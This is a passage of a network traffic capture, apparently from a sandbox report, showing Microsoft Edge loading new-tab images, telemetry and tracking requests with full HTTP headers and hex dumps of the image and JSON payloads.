</S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49904	13.107.246.40	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:48 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:49 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:49 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 19199b86-801e-001b-0191-404695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T012749Z-174f7845968glpgnhC1EWR7uec0000000xu000000000hzb1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 01:27:49 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49903	13.107.246.40	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:49 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:49 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:49 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 915fc15d-601e-0011-4de1-405f1c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T012749Z-174f7845968frfdmhC1EWRxxbw0000000xw0000000002svq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 01:27:49 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49908	18.164.116.57	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:49 UTC	925	OUT	GET /b?rn=1732757266484&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A49E4BF156D65780FA2F1FA140F641B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:49 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Thu, 28 Nov 2024 01:27:49 GMT Location: /b2?rn=1732757266484&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A49E4BF156D65780FA2F1FA140F641B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=18F961378f552aeb844a5401732757269; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=18F961378f552aeb844a5401732757269; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 5a588475f9a075d76c33229107634f8e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P6 X-Amz-Cf-Id: 1eILtQENRXTuOae_2eFk3da3BzX0NxFIGd85zcCl1rRmnHuOJD0xww==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49907	20.110.205.119	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:49 UTC	1175	OUT	GET /c.gif?rnd=1732757266483&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=94d1d7e75b7645a9b09cb13377ba9d4c&activityId=94d1d7e75b7645a9b09cb13377ba9d4c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3A49E4BF156D65780FA2F1FA140F641B; _EDGE_S=F=1&SID=19C9549D1133664B3A1141D8109D6786; _EDGE_V=1
2024-11-28 01:27:50 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732757266483&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=94d1d7e75b7645a9b09cb13377ba9d4c&activityId=94d1d7e75b7645a9b09cb13377ba9d4c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=10CCBE50A8DC44048B0E72D4D14D5C66&RedC=c.msn.com&MXFR=3A49E4BF156D65780FA2F1FA140F641B Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3A49E4BF156D65780FA2F1FA140F641B; domain=.msn.com; expires=Tue, 23-Dec-2025 01:27:49 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Thu, 28 Nov 2024 01:27:49 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49906	52.182.143.215	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:49 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732757266482&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3735 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3A49E4BF156D65780FA2F1FA140F641B; _EDGE_S=F=1&SID=19C9549D1133664B3A1141D8109D6786; _EDGE_V=1
2024-11-28 01:27:49 UTC	3735	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 30 31 3a 32 37 3a 34 36 2e 34 37 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 62 37 61 62 63 32 66 2d 65 31 30 34 2d 34 30 36 63 2d 62 63 30 39 2d 63 61 66 34 35 64 31 30 35 34 65 30 22 2c 22 65 70 6f 63 68 22 3a 22 32 37 34 30 32 38 33 31 32 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-28T01:27:46.476Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"7b7abc2f-e104-406c-bc09-caf45d1054e0","epoch":"2740283126"},"app":{"locale
2024-11-28 01:27:50 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=386f3460d6ec4ec5af04bd953819b50a&HASH=386f&LV=202411&V=4&LU=1732757269871; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 01:27:49 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=2e0ae738732e4e7db43d9a7092c8d801; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 01:57:49 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3389 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 01:27:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49914	104.117.182.59	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1msIHw.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:50 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msIHw Last-Modified: Fri, 15 Nov 2024 22:57:52 GMT X-Source-Length: 99528 X-Datacenter: eastap X-ActivityId: 7fa83637-d70d-438b-b080-eddcceb9ad9a Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 99528 Cache-Control: public, max-age=163854 Expires: Fri, 29 Nov 2024 22:58:44 GMT Date: Thu, 28 Nov 2024 01:27:50 GMT Connection: close
2024-11-28 01:27:50 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 01:27:50 UTC	16384	IN	Data Raw: 33 b1 6f 8a 76 22 a4 6b 14 47 60 0b 30 70 4a f1 7a 2b 16 4e 37 8d 20 41 3d a1 62 57 08 b9 3e 08 b2 15 39 28 ad 5b a1 58 0f 44 05 aa f6 f6 3c 37 83 14 70 f8 2a cd 25 c2 43 68 b3 09 e2 84 66 b4 66 f7 36 f0 6e 4b 6f 3b 8f c3 a9 5e 38 f6 21 85 67 1d 34 49 f1 86 c5 6e 7d 0a 1e 1e a2 e1 64 04 7e 2b 76 21 f1 5b b1 6b 3e 86 7d bd 50 10 16 40 47 e2 37 62 1f 10 6c 4f 33 3e de a8 18 08 61 1f 88 36 20 c6 dd 89 e6 2f 6f 54 0c 2c c2 8b c4 1b 16 78 9d 13 cf a1 9f 6f 53 21 0c 2d c6 b3 1a 79 8a d0 30 a2 cc 48 71 26 66 d0 6a 25 62 28 64 a7 42 c4 87 28 90 b1 14 2c 45 85 15 74 35 45 06 3e 45 95 28 ab 21 4e 85 8f 91 66 8b 28 90 b2 11 41 8b 90 fa 2c a2 4a 88 a1 62 e4 3a 88 52 d4 40 62 e4 31 62 15 13 15 9a a2 15 a8 15 91 6a 8a 20 64 51 6a d4 0c c5 aa 2d 40 18 b5 40 89 03 31 44 Data Ascii: 3ov"kG`0pJz+N7 A=bW>9([XD<7p*%Chff6nKo;^8!g4In}d~+v![k>}P@G7blO3>a6 /oT,xoS!-y0Hq&fj%b(dB(,Et5E>E(!Nf(A,Jb:R@b1bj dQj-@@1D
2024-11-28 01:27:50 UTC	2127	IN	Data Raw: 0b ad c5 5a 31 10 45 76 49 12 46 71 1b 17 27 c4 ba 37 bb 80 81 e1 06 4c cc f3 7e 6d 29 84 7c 8a bc c7 bc 30 b8 92 d1 cb 18 a8 2b 91 d3 cf b9 39 ef 65 e6 c8 69 31 20 89 af e2 22 7e 4b 97 8b 72 1b 8d b5 7a a5 25 c3 fa df dc bf 27 44 b6 30 6e ec b7 57 9b 56 c3 44 c6 b0 1e e7 76 38 76 ab 4c 22 91 b1 57 bd 85 ed 18 68 d2 22 36 82 3d fb 53 19 0d 00 6c 03 c9 6f bd 96 27 5a b5 4a eb 54 96 6f ea 2d b5 51 f1 bc ba 17 eb 15 42 e1 00 09 f2 ce b9 2d 90 de 67 50 53 8a 5c 97 38 b8 c0 ad 34 f2 84 76 bb 6d c5 f0 b6 96 b9 e5 9e 54 67 89 cf fa b3 41 fa 6e f7 3c df a0 e1 87 ae de da aa fb ae 1d e3 76 b4 5c d2 21 a1 90 e9 f5 34 61 31 ee ea ba 5b fd af 1f 74 bb 69 a7 09 73 60 3b ce 7b d5 5b 6d 63 1a c6 8c a2 24 c8 99 9a 47 52 bd 2e e7 71 0d ad a8 c3 13 aa a9 2a 6e f3 5a f9 e7 Data Ascii: Z1EvIFq'7L~m)\|0+9ei1 "~Krz%'D0nWVDv8vL"Wh"6=Slo'ZJTo-QB-gPS\84vmTgAn<v\!4a1[tis`;{[mc$GR.q*nZ
2024-11-28 01:27:50 UTC	16384	IN	Data Raw: 1a bb 69 1a 2e 55 cf a6 17 91 ff 00 b9 b8 48 d3 c4 b7 66 e0 db a6 06 9a 71 5e f4 d8 0c d1 c4 07 1a 0b ba 79 3e b8 7c e5 51 71 dd 9c ec 2e ba c6 3e 22 1c f6 0f 30 e0 e2 1d e4 65 5a 9b d1 b6 ca 9a 83 b7 54 78 4b 96 f7 cd ce ef 8c ef 09 f6 a6 6f 3a c0 c0 fd 82 e8 b6 4b 9a 5c c1 20 ed 69 22 17 70 5f de 5c d1 80 d9 b8 1d 56 ba 5c cc 53 50 64 02 d8 39 9c 97 aa 6e e8 d2 01 9c 7b 1d 13 3f 15 e2 67 fd bb 7a bb b9 3c 3a 1d fa bb a3 44 9c 61 fa da 1c c0 08 b9 41 8a 04 2a 77 36 f3 b5 97 06 5b b7 b9 87 2d 7a 59 66 d6 f0 5a fb 9e 24 59 3c 98 1b 91 60 1a b5 d3 07 98 90 74 35 12 12 05 8f 1a cb 2f 5b 30 e1 ad c6 8f 54 3b da a8 c5 39 9a 6b 42 a6 f7 b9 dc b2 19 76 f5 e0 4c c1 66 16 e1 18 b9 5b 5c 38 5c 01 2d c5 ca 05 27 0a 73 7e 9e eb 6f c1 fb 3b 0e 73 1a df 4e f2 f6 3d cd Data Ascii: i.UHfq^y>\|Qq.>"0eZTxKo:K\ i"p_\V\SPd9n{?gz<:DaA*w6[-zYfZ$Y<`t5/[0T;9kBvLf[\8\-'s~o;sN=
2024-11-28 01:27:50 UTC	16384	IN	Data Raw: 43 4c b1 0c fc 92 7c 42 29 17 75 c8 e3 d3 58 1c a6 52 6d 12 f8 91 71 84 9d 7d 4d ed f7 c8 57 3c 37 34 e0 6d d0 5c 3d 98 07 cc 36 8b 0f 2d 7f 7f 42 c5 9a b5 7f bf 11 cd be d0 27 c5 2e 1a 40 10 7c f1 41 94 7f b9 64 11 26 99 ce dd b9 25 8b 6f 78 92 e6 34 c5 71 35 de e2 3d e9 6e dc ae 5c ac 37 8d b7 01 ff 00 6c c7 72 ae a1 c5 9b b9 f0 5f bf a8 a7 5a 6d ee 60 e6 f5 22 9d b9 2a 17 18 5b 39 c7 6f 67 f7 56 9d b8 dd 60 96 e2 ae a0 8c b8 b6 42 e6 b9 a5 86 1c df 31 34 07 dd e6 14 b8 3e 92 b2 24 d7 58 b5 cc f3 1b 81 0c fa 96 fa d2 4e 2a b9 80 f5 82 f8 06 32 89 e8 17 b5 6e f3 84 7a 44 ed 5e 0f 7c 1f b2 fa a6 ef bc 34 e3 17 79 6b a8 20 06 91 af e5 23 3d ab d8 9b 37 00 90 29 d0 83 3e 52 b1 b6 d6 29 a7 c5 a6 be 06 64 9d 2a f0 18 f3 e2 07 62 f6 84 11 91 06 84 76 2f 9c b4 Data Ascii: CL\|B)uXRmq}MW<74m\=6-B'.@\|Ad&%ox4q5=n\7lr_Zm`"[9ogV`B14>$XN2nzD^\|4yk #=7)>R)d*bv/
2024-11-28 01:27:50 UTC	7952	IN	Data Raw: f1 57 f6 d2 5f e3 4f f8 64 47 dd 59 df 34 7a 07 19 0d 5d 61 a0 5e 7c 3a a0 74 5e 85 95 68 5c fe f1 d3 f1 a3 50 cc 0b bf c9 77 05 c6 dc ff 00 95 73 cb de bb 17 bf 96 78 2e 5e ea 22 d3 fe f3 57 76 52 ff 00 1c ef f8 91 a9 7c d1 f0 3b 36 f4 ff 00 8a e2 ef 74 95 d7 b6 69 e4 b9 9b e6 4a 04 72 df 7f be 05 af e5 39 7b a9 aa ef da f4 af 3d bb d1 dd ab d1 5b f4 a9 9b ee 9a 31 b6 5c 27 44 c6 ff 00 f9 24 1f 63 82 b2 d1 4f 35 4f 75 1f 6c 52 2e 8f 12 87 d4 01 36 87 15 c6 b0 08 3a 7d c2 f5 57 ed e3 b6 07 55 c9 16 70 95 d2 ec e3 87 61 2f 12 16 ef ce 2a e9 80 7c 97 9f df 5f fa 07 88 5d fd e4 40 f2 5e 5b 7a ad b8 ea 14 ed b5 4d 78 94 c9 fc 0b d6 0f e9 7f c4 2e 4b 46 2d e7 cd de e2 ba bb bf f2 ca ad 61 93 bc f9 3b dc ab d9 95 ee ee 0d ac a2 7a 4f a6 99 dc ee 7f 59 5e 8a c9 Data Ascii: W_OdGY4z]a^\|:t^h\Pwsx.^"WvR\|;6tiJr9{=[1\'D$cO5OulR.6:}WUpa/*\|_]@^[zMx.KF-a;zOY^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49917	104.117.182.59	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:49 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:50 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 23 Nov 2024 13:20:48 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 4d48a1b6-f53b-4e77-9d86-8bdbb1376117 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=431724 Expires: Tue, 03 Dec 2024 01:23:14 GMT Date: Thu, 28 Nov 2024 01:27:50 GMT Connection: close
2024-11-28 01:27:50 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49916	104.117.182.59	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
